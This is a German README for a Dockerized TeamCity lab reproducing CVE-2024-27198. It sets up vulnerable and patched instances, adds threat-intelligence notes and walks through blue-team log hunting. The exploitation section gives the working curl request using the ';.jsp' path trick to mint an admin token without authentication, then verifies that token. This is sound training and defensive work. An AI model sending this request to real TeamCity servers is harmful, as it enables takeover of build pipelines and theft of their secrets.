CVE-2024-27198_Lab

Inhaltsverzeichnis

• Über das Projekt
  • CVE-Details
  • Erstellt mit
• Threat Intelligence & OSINT
  • Auswirkungen in der Praxis & Ausnutzung
  • Warum diese CVE kritisch ist
• Erste Schritte
  • Voraussetzungen
  • Installation & Lab-Einrichtung
• Schritte zur Reproduktion & Ausnutzung
  • Anmeldeportal
  • Die Schwachstelle testen
  • Admin-Token generieren
  • Token verifizieren
  • Token löschen
  • Blue Team: Suche nach IoCs in Logs
  • Container stoppen
• Mitigation & Erkennung
  • Technische Analyse (CWE-288)
  • Indikatoren für Kompromittierung (IoCs)
  • Log-Erkennung (Sigma-Regel)
  • SIEM-Live-Demo (Blue Team)
  • Behebung
  • Netzwerkerkennung (Suricata-/Snort-Regel)
  • Die gepatchte Version testen
• Links

Über das Projekt

TeamCity stellt eine nur für Administratoren zugängliche Seite für die Token-Verwaltung bereit, die nicht durch Authentifizierung geschützt ist. Dadurch kann ein nicht authentifizierter Benutzer ein Zugriffstoken für den Administrator-Benutzer generieren, sofern er die ID eines vorhandenen Benutzers ermitteln kann.

Dieses Repository enthält ein vollständig reproduzierbares, dockerisiertes Lab mit sowohl einer verwundbaren (:8111) als auch einer gepatchten (:8112) TeamCity-Umgebung, automatisierten Exploit-Skripten (exploit.py), Blue-Team-Walkthroughs zur Log-Suche und einem Live-SIEM-Ereignissimulator (siem_simulator.py).

CVE-Details

• CVE-ID: CVE-2024-27198
• CWE: CWE-288 (Authentication Bypass Using an Alternate Path or Channel)
• CNA: JetBrains s.r.o.
• Basisscore: 9.8 CRITICAL
• Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • AV:N — Network
  • AC:L — Low
  • PR:N — None
  • UI:N — None
  • S:U — Unchanged
  • C:H — High
  • I:H — High
  • A:H — High

Erstellt mit

• 
• 
• 
• 
• 

Threat Intelligence & OSINT

Auswirkungen in der Praxis & Ausnutzung

• CISA-KEV-Katalog: Am 7. März 2024 aufgenommen, was eine aktive Ausnutzung in freier Wildbahn bestätigt.
• Bedrohungsakteure: Ausgenutzt von mehreren Ransomware-Gruppen und APTs, insbesondere der BianLian-Ransomware-Gruppe und der Jasmin-Ransomware-Variante. Angreifer nutzten diese Umgehung, um betrügerische Administrator-Konten anzulegen, bösartige Plugins bereitzustellen und beliebigen Code (RCE) auszuführen, um sich innerhalb der Opfernetzwerke lateral zu bewegen.
• Zielprofil: CI/CD-Pipelines sind hochwertige Ziele (Supply-Chain-Angriffe). Die Kompromittierung von TeamCity ermöglicht es Angreifern, bösartigen Code in Software-Builds einzuschleusen, Quellcode zu stehlen und Deployment-Geheimnisse (AWS-Schlüssel, Zertifikate) zu exfiltrieren.

Warum diese CVE kritisch ist

Die Schwachstelle liegt im Routing-Mechanismus der REST-API. Durch das Anhängen bestimmter Zeichen (wie ?jsp=/app/rest/...;.jsp) an einen nicht authentifizierten Endpunkt können Angreifer den TeamCity-Webserver dazu bringen, die Anfrage an einen authentifizierten Endpunkt weiterzuleiten und dabei die Sicherheitsfilter zu umgehen. Dies erfordert keinerlei Vorwissen oder Zugriff, was sie zu einer reinen 9.8-CVSS macht.

Erste Schritte

Um eine lokale Kopie dieses Labs einzurichten und zum Laufen zu bringen, folgen Sie diesen einfachen Beispielschritten.

Voraussetzungen

• Docker & Docker Compose
• Python 3.10+
• curl

Installation & Lab-Einrichtung

1. Klonen Sie das Repository

   git clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
   

2. Verzeichnis wechseln

   cd CVE-2024-27198_Lab
   

3. Starten Sie die Container

   docker compose up -d
   

• Greifen Sie auf die verwundbare TeamCity-Instanz zu unter: http://localhost:8111
• Greifen Sie auf die gepatchte TeamCity-Instanz zu unter: http://localhost:8112

Schritte zur Reproduktion & Ausnutzung

Anmeldeportal

Benutzername:

admin

Passwort:

admin

Auf die Schwachstelle testen

GET-Anfrage für eine Ressource ohne Authentifizierung:

curl -i http://localhost:8111/app/rest/users

curl -i http://localhost:8112/app/rest/users

Beide sollten einen Fehler mit dem Statuscode 401 zurückgeben.

Einen Token für den Admin-Benutzer generieren

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Dies sollte ein Token wie dieses zurückgeben (das Token ist jedes Mal anders):

eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Dies sollte einen Fehler mit dem Statuscode 401 zurückgeben, da die gepatchte Instanz die Schwachstelle nicht aufweist.

Token verifizieren

curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Sollte die Liste der Benutzer zurückgeben.

Den Token löschen

1. Gehen Sie mit dem Admin-Konto zu http://localhost:8111.
2. Klicken Sie auf das Profilsymbol oben rechts.
3. Gehen Sie zu Profile -> Access Tokens.
4. Sie sehen den Token „REDTEAM".
5. Klicken Sie einfach auf Delete neben dem Token.

Blue Team: Suche nach IoCs in Logs (Der Stealth-Faktor)

Während der Demonstration im Lab können Sie einen massiven Blue-Team-Fund zeigen: Standardmäßig ist diese Schwachstelle unglaublich stealthy!

1. Tomcat-Zugriffslogs sind im TeamCity-Docker-Image standardmäßig deaktiviert, sodass die ;.jsp-HTTP-Anfragen nicht protokolliert werden.
2. Das TeamCity-Audit-Log protokolliert die Token-Erstellung über die REST-API nicht.

Wie können wir sie also erkennen? Wenn der Angreifer seine Spuren beseitigt! Wenn der Angreifer seinen bösartigen Token löscht, um sich zu verstecken, protokolliert TeamCity dies.

Finden Sie den Angreifer, der seine Spuren in den Audit-Logs verwischt:

docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(Sie sehen einen Log-Eintrag, der anzeigt, dass das „REDTEAM“-Token gelöscht wurde).